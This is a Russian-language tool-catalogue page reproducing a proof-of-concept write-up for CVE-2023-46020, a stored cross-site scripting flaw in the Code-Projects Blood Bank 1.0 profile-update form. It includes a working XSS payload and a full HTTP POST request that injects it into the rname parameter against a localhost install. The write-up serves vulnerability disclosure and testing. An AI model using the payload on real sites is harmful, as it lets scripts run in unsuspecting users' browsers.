Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability — Эксплойт доказательства концепции для хранимой межсайтовой скриптовой уязвимости (XSS) в Code-Projects Blood Bank V1.0 через несанитизированные параметры профиля, с демонстрацией внедрения полезной нагрузки и срабатывания. | Kitploit
Инструменты/GitHubGitHub/ersinerenler/cve-2023-46020-code-projects-blood-bank-1.0-stored-cross-site-scripting-vulnerability
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubersinerenler/cve-2023-46020-code-projects-blood-bank-1.0-stored-cross-site-scripting-vulnerability

CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability

Эксплойт доказательства концепции для хранимой межсайтовой скриптовой уязвимости (XSS) в Code-Projects Blood Bank V1.0 через несанитизированные параметры профиля, с демонстрацией внедрения полезной нагрузки и срабатывания.

Репозиторий
352 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Уязвимость-хранимого-межсайтового-скриптинга

  • Автор эксплойта: ersinerenler

Домашняя страница разработчика

  • https://code-projects.org/blood-bank-in-php-with-source-code

Ссылка на загрузку ПО

  • https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip

Обзор

  • Code-Projects Blood Bank V1.0 подвержен критической уязвимости безопасности, связанной с хранимым межсайтовым скриптингом (Stored XSS) через несколько параметров (rename, remail, rphone и rcity) в файле /updateprofile.php. Приложение не выполняет адекватную санитацию предоставленных пользователем данных, что позволяет злоумышленникам внедрять вредоносные скрипты в приложение. Это может привести к выполнению произвольного скриптового кода в браузерах ничего не подозревающих пользователей, потенциально ставя под угрозу их безопасность и конфиденциальность в контексте уязвимого сайта.

Детали уязвимости

  • CVE ID: CVE-2023-46020
  • Затрагиваемая версия: Blood Bank V1.0
  • Уязвимый файл: updateprofile.php
  • Параметры: rename, remail, rphone, rcity
  • Тип атаки: локальная

Ссылки:

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46020
  • https://nvd.nist.gov/vuln/detail/CVE-2023-46020

Описание

  • Параметры rename, remail, rphone и rcity в файле /file/updateprofile.php приложения Code-Projects Blood Bank V1.0 подвержены хранимому межсайтовому скриптингу (Stored XSS). Эта уязвимость возникает из-за недостаточной проверки ввода и санитации предоставленных пользователем данных. Злоумышленник может использовать эту слабость, внедряя вредоносные скрипты в эти параметры, которые после сохранения на сервере могут быть выполнены, когда другие пользователи просматривают профиль атакованного пользователя.

Доказательство концепции (PoC):

  • Перехватите POST-запрос к updateprofile.php через Burp Suite
  • Внедрите полезную нагрузку в уязвимые параметры
  • Полезная нагрузка: "><svg/onload=alert(document.domain)>
  • Пример запроса для параметра rname
root@kitploit:~
POST /bloodbank/file/updateprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: http://localhost
Connection: close
Referer: http://localhost/bloodbank/rprofile.php?id=1
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

rname=test"><svg/onload=alert(document.domain)>&remail=test%40gmail.com&rpassword=test&rphone=8875643456&rcity=lucknow&bg=A%2B&update=Update
  • Перейдите на страницу профиля и запустите XSS
Изображение
Скачать инструмент